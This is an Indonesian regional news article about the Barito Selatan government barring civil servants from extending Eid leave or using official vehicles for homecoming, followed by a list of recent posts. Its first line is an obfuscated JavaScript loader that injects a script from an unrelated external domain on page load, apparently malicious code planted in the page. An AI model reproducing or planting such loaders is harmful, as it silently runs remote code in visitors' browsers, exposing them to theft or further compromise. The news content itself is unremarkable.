(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

ASN Barsel Dilarang Mudik Pakai Mobil Dinas


BUNTOK, Pemerintah Kabupaten Barito Selatan (Barsel) melarang para Aparatur Sipil Negara (ASN) untuk menambah cuti libur dan menggunakan mobil dinas saat mudik atau pulang kampung pada Hari Raya Idul Fitri 1440 H.

Pj Sekda Barsel Ir Syahrani mengatakan, larangan ini berdasarkan surat edaran nomor 800/545/PSDM/2019 , perihal pelaksanaan cuti bersama serta upacara peringatan hari besar nasional untuk ASN di lingkungan Pemkab Barsel.

“Maka lewat surat edaran ini, kiranya bisa ditaati oleh seluruh ASN yang berada di lingkub Barsel,” kata Syahrani kepada Kanalkalimantan.com, Kamis (29/5).

Ia juga mengatakan, perihal dari surat edaran tersebut mewajibkan kepada seluruh ASN di Barsel untuk ikut upacara bendera hari lahir Pancasila 1 Juni.

“Semua ASN diwajibkan kiranya untuk bisa ikut apel hari Pancasaila 1 Juni ini,” ucap Syahrani.

Selain itu kepada kepala organisasi perangkat daerah dihimbau tidak merekomendasikan kepada ASN dilingkungan kerjanya sesudah pelaksanaan cuti bersama hari raya Idul Fitri 1440 H. Yang mana telah ditetapkan 3,4 dan 7 Juni 2019.

“Jadi karena total libur ASN bisa dibilang 8 hari, oleh itu kiranya jangan sampai menambah libur dengan cuti lagi,” tegas Syahrani.

Lebih lanjut olehnya kepada kepala organisasi perangkat daerah juga diimbau untuk tidak menggunakan kendaraan dinas operasional, terkait kepentingan mudik lebaran nanti.

“Mengingat kendaraan dinas hanya dipakai saat dinas demi menunjang tugas pokok dan fungsi pada hari kerja kantor,” pinta Syahrani.

Ditambahkannya, bagi ASN yang pada saat cuti bersama, karena tugasnya memberikan layanan langsung kepada masyarakat, seperti pegawai rumah sakit dan Puskesmas, petugas pemadam kebakaran, lapangan keamanan, Satpol PP, Dishub, kiranya bisa kordinasi dengan instansi masing-masing.

“Lakukan pengaturan internal dengan instansi masing-masing, sehingga pelayanan kepada masyarakat tetap terlayani dengan baik,” pungkas Syahrani. (digdo)

Reporter:Digdo
Editor:Bie

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.